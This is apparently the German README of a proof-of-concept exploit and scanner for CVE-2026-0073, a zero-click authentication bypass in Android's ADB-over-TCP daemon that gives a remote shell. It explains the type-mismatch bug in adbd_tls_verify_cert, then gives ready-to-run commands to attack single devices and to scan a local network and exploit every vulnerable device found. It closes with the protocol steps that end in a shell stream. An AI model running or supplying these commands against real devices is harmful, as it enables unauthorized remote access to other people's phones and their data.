
Ein PoC-Tool für die CVE-2026-0073 auf Android-11+-Geräten, das eine sofortige Zero-Click-RCE auf jedem ungepatchten Gerät mit aktiviertem ADB über TCP ermöglicht.
Ein Proof-of-Concept-Exploit und Netzwerkscanner für CVE-2026-0073, eine kritische
Zero-Click-, Interaktionsfreie Remote-Codeausführung-Schwachstelle im ADB-over-TCP-Authentifizierungspfad von Android adbd.
Die Schwachstelle ist ein Logikfehler in adbd_tls_verify_cert() (daemon/auth.cpp),
bei dem EVP_PKEY_cmp() als boolesches Prädikat behandelt wird. Wenn ein gespeicherter RSA-Schlüssel
mit einem Nicht-RSA-TLS-Clientzertifikat (EC P-256 oder Ed25519) verglichen wird, gibt die
API -1 (Typkonflikt) zurück, was in C/C++ wahr ist. Dadurch wird ein
algorithmenübergreifender Konflikt zu einem erfolgreichen Host-Key-Abgleich hochgestuft — wodurch die
Authentifizierung vollständig umgangen wird.
Technische Details von BARGHEST.
Basis-PoC-Code von SecTestAnnaQuinn.
Behoben im Android Security Bulletin — Mai 2026.
| Attribut | Detail |
|---|---|
| Angriffsvektor | Netzwerk (benachbart / proximal) |
| Interaktion | Keine (Zero-Click) |
| Erlangte Berechtigung | shell-Benutzer (uid=2000), SELinux u:r:shell:s0 |
| Exploit-Primitive | Remote-Shell-Zugriff über ADB |
| CVSS | Kritisch (9.8) |
Aus dem shell-Kontext kann ein Angreifer Systemeigenschaften, Prozesszustand,
Protokolle und Benachrichtigungen einsehen; Pakete installieren und entfernen; run-as gegen
debuggbare Anwendungen verwenden; und Folge-Exploits vorbereiten.
| Datei | Zweck |
|---|---|
adb_tls_auth_bypass.py | Einzelziel-Exploit-PoC (Original von SecTestAnnaQuinn, Prüfsummen-gepatcht) |
adbt_scanner.py | Netzwerkscanner — verwundbare Geräte entdecken + ausnutzen |
requirements.txt | Python-Abhängigkeiten |
Damit der Exploit erfolgreich ist, muss das Ziel-Android-Gerät Folgendes haben:
adbd-TCP-Dienst)/data/misc/adb/adb_keys# Virtuelle Umgebung erstellen
uv venv
# Aktivieren
source .venv/bin/activate
# Abhängigkeiten installieren
uv pip install -r requirements.txt
Abhängigkeiten:
| Paket | Verwendet von | Erforderlich? |
|---|---|---|
cryptography | Beide Skripte (EC-Zertifikatserzeugung, TLS) | Ja |
netifaces | Scanner (Subnetzerkennung) | Bevorzugt |
zeroconf | Scanner (mDNS-Erkennung) | Bevorzugt |
scapy | Scanner (ARP-Sweep) | Bevorzugt |
Der Scanner degradiert elegant, wenn optionale Pakete fehlen — er wird
warnen und auf alternative Methoden zurückfallen (System-ip-Befehl, nmap, TCP-
Connect-Scan).
Greife ein bekanntes verwundbares Gerät direkt an.
python3 adb_tls_auth_bypass.py 192.168.1.42 # interaktive Shell
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"
Oder über den Scanner:
python3 adbt_scanner.py --host 192.168.1.42 # interaktive Shell
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"
Scanne das lokale Netzwerk nach verwundbaren Geräten und nutze alle bestätigten Ziele aus.
# Vollständiger Scan: mDNS → ARP → Portscan → ADB-Probe → Exploit
python3 adbt_scanner.py --scan
# Führe einen bestimmten Befehl auf allen verwundbaren Geräten aus
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"
# Nur Aufklärung — entdecken, aber nicht ausnutzen
python3 adbt_scanner.py --scan --no-exploit
# Mehrere Ports scannen
python3 adbt_scanner.py --scan --ports 5555,5580,5037
# Erkanntes Subnetz überschreiben (Multi-Homed-Hosts, bestimmte Bereiche)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24
# Timeouts für langsame Netzwerke anpassen
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10
# mDNS-Hörfenster erweitern
python3 adbt_scanner.py --scan --mdns-timeout 60
# Bestimmte Erkennungsphasen überspringen
python3 adbt_scanner.py --scan --no-mdns # mDNS überspringen, nur ARP
python3 adbt_scanner.py --scan --no-arp # ARP überspringen, nur mDNS
--scan Netzwerk nach verwundbaren Geräten scannen + ausnutzen
--host HOST Direkter Einzelziel-Exploit
--port PORT ADB-Port für den --host-Modus (Standard: 5555)
--cmd COMMAND Auszuführender Shell-Befehl
-v, --verbose Ausführliche Protokollierung
--mdns-timeout SEKUNDEN mDNS-Hördauer (Standard: 30)
--ports PORTS Kommagetrennte Ports im --scan-Modus (Standard: 5555)
--subnet CIDR Erkanntes Subnetz überschreiben (z. B. 192.168.2.0/24)
--connect-timeout SEKUNDEN TCP-Connect-Timeout (Standard: 2.0)
--probe-timeout SEKUNDEN ADB-Probe-Timeout (Standard: 3.0)
--arp-timeout SEKUNDEN ARP-Sweep-Timeout (Standard: 3)
--no-mdns mDNS-Erkennung überspringen
--no-arp ARP-Sweep + Portscan überspringen
--no-exploit Nach der ADB-Protokollprobenphase stoppen
┌─────────────────────────────────────────────────────────────┐
│ 1. Subnetzerkennung — netifaces → ip route → Socket-Trick │
│ 2. mDNS-Listener — _adb-tls-connect._tcp (Standard 30s) │
│ 3. ARP-Sweep — scapy.arping → nmap -sn │
│ 4. Portscan — TCP-Connect zu jedem Host:Port │
│ 5. ADB-Protokollprobe — CNXN senden, Antwort klassifizieren │
│ │
│ STLS → VERWUNDBAR (mit Exploit fortfahren) │
│ AUTH → Legacy-ADB-Auth (nicht diese CVE) │
│ CNXN → offen, keine Auth (bereits zugänglich) │
│ NO_ADB → kein ADB-Dienst │
│ │
│ 6. Ausnutzung — TLS-Upgrade → Auth-Bypass → Shell │
└─────────────────────────────────────────────────────────────┘
mDNS ist die genaueste Identifikationsmethode: Wenn drahtloses Debugging
gekoppelt ist, sendet Android _adb-tls-connect._tcp explizit. ARP-Sweep +
Portscan dient als Allzweck-Fallback.
Phase 1 — Klartext-ADB
Client → CNXN(payload="host::features=...")
Gerät → STLS (TLS-Upgrade erforderlich)
Phase 2 — TLS 1.3 mit algorithmenübergreifendem Clientzertifikat
Client → STLS-Antwort
Client → TLS-1.3-Handshake + EC-P-256-Clientzertifikat
Gerät ruft adbd_tls_verify_cert() auf:
known_evp = RSA-Schlüssel aus /data/misc/adb/adb_keys
evp_pkey = EC-P-256-Schlüssel aus dem Clientzertifikat
EVP_PKEY_cmp(known_evp, evp_pkey) → -1 (Typkonflikt)
if (-1) → verified = true ← FEHLER: -1 ist wahr
Phase 3 — Post-TLS-ADB-Dienstschicht
Client leert Geräte-CNXN (Transport bereits online)
Kein Host-CNXN gesendet (würde handle_new_connection-Kick auslösen)
Client → OPEN(local_id, window=32MB, payload="shell:\x00")
Gerät → OKAY → Shell-Stream hergestellt